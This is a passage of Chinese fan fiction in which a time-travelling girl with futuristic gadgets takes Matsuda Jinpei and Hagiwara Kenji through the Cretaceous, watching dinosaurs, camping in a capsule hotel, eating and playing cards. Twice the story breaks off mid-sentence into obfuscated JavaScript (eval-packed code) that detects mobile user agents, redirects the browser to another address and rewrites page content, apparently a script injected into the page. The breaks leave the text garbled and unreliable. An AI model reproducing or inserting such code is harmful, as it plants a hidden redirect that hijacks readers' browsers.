“砰!”“砰!”“砰!” 沉重的撞击声在旷野中回荡,每一次碰撞两只肿头龙的头狠狠撞在一起,那力道光是听着就觉得疼,但它们似乎毫无感觉,撞完之后后退几步,调整姿势,再次冲刺撞击,让人忍不住为它们的头骨硬度感到惊叹。 “肿头龙。”松田阵平的目光落在那几只用脑袋打架的恐龙身上,“现在应该是它们的繁殖季,雄性会通过头部撞击来争夺交·配权。” “好疼的样子……”我下意识摸了摸自己的脑袋。 “用头来竞争配偶……”萩原研二放下相机,紫眸中带着一丝感慨,“这些史前生物为了繁衍,展现出的力量和行为模式,真是令人叹为观止。” 被争夺的雌性肿头龙则在一旁平静地啃食着蕨类,似乎对这场激烈的较量习以为常。 其中一只体型较大的雄性似乎占了上风,另一只被撞得连连后退,最后灰溜溜地跑开了,获胜者昂起头,发出一声得意的鸣叫,朝那群雌性走去。 看了一会儿肿头龙的“比武招亲”,我们继续前行,在另一片蕨类植物茂密的区域,我们来到了另一群恐龙的领地。 这群恐龙的外形更加特别,它们体型笨重,四肢粗短,背部覆盖着一排排巨大的骨板,从颈部一直延伸到尾部,那些骨板呈三角形,像一面面竖立的盾牌,而尾巴末端还长着四个巨大的骨质尖刺,看起来像流星锤一样。 “甲龙!”我惊喜地喊道,“我终于看到活的甲龙了!” 松田阵平盯着它们说道:“这种天生的防御配置,简直是活体坦克。” 那群甲龙察觉到霸王龙的靠近,立刻摆出了防御姿态,它们压低身体,把布满骨板的背部朝向威胁,同时警惕地甩动着那根带刺的尾巴,发出呼呼的风声。 霸王龙只是淡淡地瞥了它们一眼,完全没有捕食的兴趣,这些甲龙虽然防御力惊人,但肉少壳硬,吃起来太费劲,不如那些肥美的鸭嘴龙来得实在。 我们站在霸王龙头顶,居高临下地看着这些白垩纪的“活体坦克”,心中涌起一种难以言喻的奇妙感觉。 等我们离开甲龙领地,天色已经开始暗下来,夕阳把整个平原染成了橙红色。 萩原研二收起相机,望着远处夕阳的余晖,紫罗兰色的眼眸里带着深深的感慨:“像恐龙如此强大、多样,统治了地球近两亿年的生物,如果没有在6600万年前的那场大灭绝中消失,当今世界的人类文明,恐怕根本没有机会诞生和发展。” 松田阵平没有说话,只是沉默地看着前方,凫青色的眼睛里倒映着远古的天空,似乎在想象一个恐龙与人类共存的平行世界。 我抱着膝盖坐在他们旁边,听到他们的话后,歪了歪头,然后说出一句让两人瞬间愣住的话: “不,松田君,萩原君,恐龙其实并没有完全灭绝哦。” 松田阵平和萩原研二同时转过头看向我,脸上的表情如出一辙的惊愕。 “你说什么?”松田阵平眉头微蹙:“6600万年前的小行星撞击,导致了包括非鸟恐龙在内的大量生物灭绝,这是科学界的共识,你指的是鸟类作为恐龙后裔的说法?” “那是一部分啦。”我晃了晃手指,“大家都知道,鸟类是兽脚类恐龙的一支演化来的,所以从某种意义上说,鸟类就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290984|195415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现代的恐龙,但是——” “这只是其中一支。”我顿了一下,决定透露一点未来的常识,“但是还有一小部分恐龙,在白垩纪末期那场大灾难中,为了躲避恶劣的环境,进入了地球的地下深处——地底。” “地底?”松田阵平敏锐的察觉到了关键,凫青色的眼睛紧紧盯着我。 “对。”我点点头道,“幸存下来的恐龙们在经过长达6600万年的地底生活、适应和进化,还逐渐发展出了智慧,建立了属于自己的文明,也就是所谓的‘地底人’。” “地底人?”萩原研二艰难地重复,“你是说,地球上真的存在地底文明?” “对呀。”我理所当然地说,“按时间线来算的话,他们现在还居住在地球的地底世界呢,不过在你们时间线再往后推的几十年之后,他们会因为一些原因,最终选择离开地球,迁移到宇宙中某个遥远的星球上生活,在我们22世纪,地底人已经是人类的附属文明之一了。” 这突如其来的、堪称颠覆性的“秘辛”,让松田阵平和萩原研二陷入了短暂的沉默,21世纪并非没有关于“地底人”的传说或假说,但那大多停留在科幻或阴谋论的范畴,此刻,却被一个来自未来、手握诸多不可思议道具的少女如此笃定地证实了。 “附属文明?”萩原研二重复了一遍这个词,“意思是……它们受人类管辖?” “嗯。”我接着说道,“22世纪的人类科技可是很强大的,人类并不是这个宇宙唯一的生命,宇宙中也有很多外星文明,但是因为22世纪的人类掌握了强大的科技,所以很多外星文明都和地球建交了,有的是友好文明,有的是附属文明。” 外星人存在的假说也被如此轻描淡写地证实了。 “附属文明”这个词让松田阵平的眉头跳了一下:“你是说……人类在22世纪已经殖民了外星文明?” “不是殖民啦。”我连忙摆手,“是友好的从属关系,就像……嗯……就像你们21世纪的大国和小国之间的关系?反正互惠互利,他们获得地球的科技保护,我们获得他们的资源和一些独特的技术,大家都很开心的。” 松田阵平和萩原研二沉默了几秒,看了看对方腰间的四次元皮包,又想起那些能穿越或暂停时间、传送空间、收服恐龙的未来道具,突然觉得这件事好像也没那么难以接受。 毕竟,能制造出这些道具的文明,确实有资格和地外文明平起平坐,她所在的时代拥有外星文明的从属关系,好像……也没什么好大惊小怪的了。 萩原研二率先笑了出来,说道:“今天真是……信息量太大了,感觉需要好好消化一下。” 松田阵平没说话,只是目光落在远处的夕阳上,不知在想什么。 我低头看了看光脑上的时间,已经下午五点多了。 “哎呀,天快黑了。”我抬头看了看天色,太阳已经开始西沉,天边的云彩染上了橙红色的余晖,“天黑之后行动会很危险的,我们找个地方过夜吧,明天早上再出发。” 两人没有异议,在这片危机四伏的史前大陆,夜晚确实不适合赶路。 13.在白垩纪过夜 霸王龙继续往前走,我们很快找到了一处合适的地点,一座地势较高、视野开阔的小山丘。山顶相对平坦,周围没有茂密的植被,可以清楚地观察到四周的动静。 “就这里吧。”我拍了拍霸王龙的脑袋,示意它停下。 霸王龙乖乖地趴了下来,巨大的身体伏低,让我们轻松地从它头顶跳下。 我走到山顶中央,从四次元皮包里掏出了一个东西,那是一个圆形的,像大头针一样的粉色物体,大约有手掌大小,顶端是一个粉色的小圆球,底部是尖尖的针状结构。 松田阵平和萩原研二好奇地看着我手里的东西。 “这又是什么?”松田阵平问。 “便携式旅馆球。”我得意地晃了晃手里的粉色小玩意儿,“豪华型露营胶囊,可舒适了。” 说完,我把它的尖端用力往地上一扎。 下一刻,令人惊讶的变化发生了,那根“大头针”瞬间开始膨胀、变形,粉色的球体部分急速扩大,下方的针杆也同步变粗变高。短短十几秒内,一个巨大的、粉色的、球体部分直径超过十米、由一根十几米高的坚固柱子支撑在空中的奇特建筑就出现在了山顶上。 那是一个巨大的粉色圆球,直径至少有十米,圆球下方是一根十几米高的圆柱形支柱,将圆球高高托举在空中,整座建筑在夕阳的余晖中泛着柔和的粉色光芒,看起来既科幻又可爱。 松田阵平和萩原研二仰着头,看着这座凭空出现的巨大建筑,表情都有些微妙。 我转头对站在一旁的霸王龙说:“大家伙,你就在附近守着,别让其他恐龙靠近,知道吗?” 霸王龙发出一声低沉的咕噜声,巨大的脑袋点了点,表示明白。 “好啦,我们上去吧。”我拍了拍手,带着松田阵平和萩原研二走向旅馆球的支柱,走到圆柱底部,那里有一扇自动滑开的门,内部是一个小巧的升降梯,我们刚进去,电梯平稳地上升,几秒钟后就到达了顶部的圆球。 门打开,一个宽敞明亮的客厅出现在眼前。 客厅的面积比外面看起来还要大,装修简洁而温馨,地上铺着柔软的地毯,中央摆着一套看起来很舒适的沙发和一张茶几,不远处还放着一张餐桌和几把椅子,墙壁上有一面巨大的的透明观景窗,可以清晰地看到外面的景色,客厅旁边还有三扇关着的门。 “哇哦——”萩原研二走进客厅,环顾四周,紫眸里满是赞叹,“这也太豪华了吧,真的是露营用的?” “这可是豪华型。”我骄傲地说,“还有更高级的总统套房型,不过我买不起。” 我取出他们的背包,递还给两人:“这三个房间你们随便挑,里面床铺、洗手间、淋浴设备都有,基本的洗漱用品也齐全,我先去洗个澡,跑了一天了都是汗,等下一起吃饭!” 说完,我随便挑了一间门,开门走了进去。 房间不大但很舒适,有一张柔软的床,一个小床头柜,当然最重要的是还有一个独立的洗手间和带浴缸的浴室。 我迫不及待地冲进浴室,热水哗啦啦地冲下来,洗去了一天的疲惫和汗水,洗完澡后,我看着浴缸,陷入了选择困难。 我从四次元皮包里掏出十几款入浴剂,摆成一排。 “今天选哪个好呢……” 这些入浴剂都是我平时收集的,每一款都有不同的香味和功效,有放松的薰衣草味,有提神的薄荷味,有美肤的玫瑰味,还有各种水果味。 我左看右看,最后选中了一款粉色的入浴剂——这是我最近的最爱款,水蜜桃混合奶香的味道,洗完之后整个人都会变得香喷喷的,而且留香特别持久。 我把入浴剂扔进浴缸,热水很快泛起细腻的泡沫,粉色的浴水散发着清甜的香气。 我躺进浴缸,舒服地叹了口气。 “啊——太幸福了——” 我哼着22世纪的流行歌,将自己完全浸入舒适的热水中,热水很好地缓解了一整天探险带来的兴奋和疲惫,我舒舒服服地泡了差不多一个小时,想到外面还有松田阵平和萩原研二在等着,才恋恋不舍地从浴缸里爬出来。 擦干身体,换上一件豆绿色的连体紧身衣,把头发扎成一个丸子头,对着镜子看了看,满意地点点头,这才神清气爽地拉开房门走了出去。 客厅里,松田阵平和萩原研二正坐在沙发上。 两人都换了一身干净的衣服,头发还有些湿润,显然也刚洗过澡,松田阵平穿着简单的深色的T恤和休闲裤,正靠在沙发上抽烟;萩原研二则穿着一件浅色的开衫,也夹着一根烟,两人面前的茶几上放着旅馆自带的烟灰缸,里面已经有两三个烟头。 旅馆的通风系统很好,几乎闻不到烟味。 他们听到开门声,同时转过头来。 下一秒,两人的眼神都微微变了变。 一股清甜的水果香气随着开门飘散出来,那香味并不浓烈,是那种清清爽爽、带着微微甜意的味道,像水蜜桃,又带着一点奶香,闻起来让人心情都变好了。 松田阵平的眼神在对方身上停了一瞬。 松田阵平曾经多次近距离的接触少女,他就已经闻到过好几次少女身上的香味,尤其是之前抱她躲开巨虫的时候,那股清甜的香气格外明显,不过现在刚洗完澡,香味比之前更明显一些,淡淡地萦绕在她周围,像一层无形的薄雾。 他收回目光,若无其事地掐灭了烟头。 “还以为你掉浴缸里到明天都不出来了呢。”松田阵平毒舌道。 “哪有那么夸张!”我走到沙发边,“才一个小时而已。” “一个小时在浴缸里。”松田阵平挑了挑眉,“你就不怕泡皱了?” “才不会,我们未来的浴缸有恒温防皱功能。”我理直气壮地说,“好啦好啦,吃饭吃饭,我都饿了!” 我在桌子前坐下,松田阵平和萩原研二也起身走过来,在我对面坐下,他们看着少女从四次元皮包里掏出一块看起来很普通的粉色桌布,展开铺在桌面上。 “这是什么?”松田阵平盯着那块桌布。 “美食桌布。”我拍拍桌布,得意地说,“能变出各种美食的道具,想吃什么,直接跟它说就行,用你们好理解的话说,就是个超级智能外卖机,不过是瞬间送达的那种。” “松田君,你想吃什么?”我看向他,“随便点。” 松田阵平想了想,试探性地开口:“猪排咖喱饭。” 话音刚落,桌布突然亮起了柔和的光芒,有什么东西在光芒中缓缓升起,几秒钟后,光芒消散,桌布上多了一份热气腾腾的猪排咖喱饭,金黄的炸猪排、浓稠的咖喱汁、雪白的米饭,摆放得整整齐齐。 松田阵平的眼睛微微睁大。 萩原研二也惊讶地看着那份凭空出现的咖喱饭,紫眸里闪烁着新奇的光芒。 “到你了,萩原君。”我看向萩原研二。 他笑着想了想:“那我就要一份汉堡肉蛋包饭,谢谢。” 桌布再次发光,这次出现的是一份上面是金黄色的蛋皮,下面覆盖着厚实汉堡肉的精致的汉堡肉蛋包饭。 “那么到我了。”我开心地说,“我要一份麻婆豆腐,一份青椒肉丝,再来一碗米饭!” 光芒再次亮起又熄灭,我点的中华料理完美呈现,红油汪汪的麻婆豆腐和翠绿诱人的青椒肉丝,看得人食指大动。 “春子小姐很喜欢中华料理?”萩原研二看着我点的菜,笑着问。 “超——喜欢!”我用力点头,“感觉中华料理特别有魔力,怎么做都好吃,所以我每周至少要去中华料理店吃一次,或者用美食桌布点。” “我开动了。”三人异口同声,然后拿起筷子开始享用这顿在6800万年前白垩纪的美食外卖大餐。 松田阵平先尝了一口自己的猪排咖喱饭,咀嚼了几下,眉头微微挑起。 味道出乎意料地好,猪排外酥里嫩,咖喱浓郁香醇,米饭也是软硬适中,比他常去的那家咖喱专门店还要好吃。 萩原研二也尝了一口汉堡肉蛋包饭,滑嫩的蛋包饭配上多汁的汉堡肉,味道相当出色。 我迫不及待地夹了一筷子麻婆豆腐送进嘴里。 下一秒,我的脸就红了。 “好辣好辣好辣——”我连忙吐着舌头,手忙脚乱地从桌布上叫了一杯冰水,咕嘟咕嘟灌下去,“呼——活过来了……” 松田阵平看着我狼狈的样子,嘴角微微勾起。 “能吃辣吗就点麻婆豆腐。” “我、我没想到会这么辣嘛……”我委屈地小声说,但还是忍不住又夹了一筷子,“但是太好吃了,忍不住……” 于是接下来的画面就是:我一边被辣得斯哈斯哈,一边不停地往嘴里塞麻婆豆腐,时不时灌一口冰水,脸上挂着痛苦又幸福的表情。 松田阵平和萩原研二看着我这副模样,都忍不住笑了。 两个男人很快解决了自己的主食,似乎觉得意犹未尽,萩原研二试探着对美食桌布说:“再来两杯冰的生啤,嗯……再要一份毛豆、一份炸鸡块、一份烧鸟。” 桌布光芒闪烁,冰镇的生啤和下酒小菜瞬间到位,在这种史前时代炎热潮湿的傍晚,一口冰凉爽口的啤酒下肚,配上咸香的小菜,浑身的毛孔都舒展开来,惬意无比。 “干杯!”萩原研二举起酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294592|195415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯。 “干杯!”我和松田阵平也举杯相碰。 酒足饭饱,碗盘杯碟自动被美食桌布回收,桌面重新变得干干净净。 我眼珠一转,又从四次元皮包里掏出一副纸牌,兴致勃勃地提议:“来来来,时间还早,我们打牌吧!输了的人要被赢家在脸上画画哦!” 说着,我盯着松田阵平那张轮廓分明的俊脸,摩拳擦掌,发出不怀好意的嘿嘿坏笑,仿佛已经看到自己在他脸上创作“大作”的场景。 松田阵平看着对面这个明显在打坏主意的小鬼,挑了挑眉,嘴角勾起一个似笑非笑的弧度。 “你确定?” “当然确定!”我信心满满,“我可是未来的牌王,你别想赢我!” 萩原研二也笑着加入了战局。 一个小时后。 “不玩了不玩了!哼!”我顶着一脸纵横交错的黑色墨痕,气鼓鼓地把牌一扔,腮帮子都鼓了起来。 我盯着镜子里的自己,有些欲哭无泪。 镜子里那张原本白白净净的脸上,此刻布满了黑色的墨痕,脸颊上左右各三道胡须,整整齐齐,额头正中还有一个大大的“王”字——和当初我画在松田阵平脸上一模一样。 而对面的松田阵平,脸上干干净净,连一道墨痕都没有,此刻正双手抱胸,嘴角噙着一丝毫不掩饰的、心情极度愉悦的得意笑容。 “怎么,未来的牌王,这就认输了?”他勾起了唇角道。 “你——!”我被他噎了一下,气鼓鼓的瞪着他。 这个恶劣的家伙,一连赢了我七八局,牌技好的离谱,每次赢了就拿着记号笔在我脸上添几笔,第一局赢了,在我脸上画了第一道胡须;第二局赢了,画了第二道;等到第六局,左右各三道胡须齐了;第七局,他在我鼻尖点了个黑点;第八局,最后一局,他慢条斯理地在我额头上画了个“王”字,还特意描粗了几笔。 这分明就是赤裸裸的报复!报复我最初用时间暂停器时停在他脸上画画的事! 萩原研二脸上也有两道墨痕,是输给松田阵平后被画的,不过他看起来并不在意,反而看着我们俩的“战况”,忍俊不禁,轻笑出声。 “小阵平,对女孩子要手下留情啦。”他笑着揶揄道。 松田阵平轻哼一声,收起记号笔,心情看起来十分舒畅:“愿赌服输。” 我冲他做了个鬼脸,然后抱着镜子去洗手间洗脸,等我洗干净回来,看到松田阵平正靠在沙发上抽烟,嘴角还带着那抹愉悦的笑。 “笑什么笑!”我冲他哼了一声,“下次我一定会赢的!” “是吗?”他吐出一口烟圈,语气欠揍得很,“我等着。” 又过了半个多小时,我打了个哈欠,看了看光脑上的时间,已经差不多十点了,玩闹够了,也该休息了,明天还要继续白垩纪的探险呢。 “晚安啦,松田君,萩原君。”我站在房间门口,,对他们挥挥手,道了一句晚安。 “晚安,春子小姐。”萩原研二温和地道别。 “嗯,晚安。”松田阵平也淡淡地应了一声。 回到自己舒适的房间,我看时间还早,睡意也不算浓,决定再去泡个舒服的睡前澡放松一下,22世纪的入浴剂还有安神助眠的效果呢。 而隔壁房间,松田阵平靠坐在床上,手指间夹着一根刚点燃的烟,他房间的墙壁被他调成了透明的观景模式,可以清晰地看到窗外白垩纪夜晚的景色,没有城市灯光污染,白垩纪的夜空格外清澈,星空格外璀璨,满天繁星像钻石一样铺洒在天鹅绒般的夜幕上,银河如同一条发光的缎带横亘天际,巨大的月亮悬在半空,将清冷的光辉洒向沉睡的平原。 他的目光无意识地扫过远处那片幽暗的森林轮廓,突然,他好像看到森林深处的某个方向,有几道细微的一闪而逝的红光,晃了几下后就消失不见,像是某种信号,颜色和亮度都有些奇特。 他皱了皱眉头,身体微微前倾,更加专注地看向那个方向,但红光再也没有出现,森林重归沉寂与黑暗,仿佛刚才那几道转瞬即逝的红光只是他的错觉。 是流星吗?松田阵平心想,在这个时代的夜空,看到流星再正常不过了,或者是某种发光昆虫?史前时代的生物多样性远超想象,有些奇特的发光现象也不奇怪。 他盯着那片区域又看了几分钟,确认再无异常后,才缓缓靠回床头,掐灭了烟,或许是自己看错了,或许只是这个神奇世界又一个微不足道的自然现象。他没有将这点小小的疑窦放在心上。 他掐灭了还剩小半截的烟,将墙壁调回不透明的乳白色,躺了下来,很快,均匀的呼吸声响起。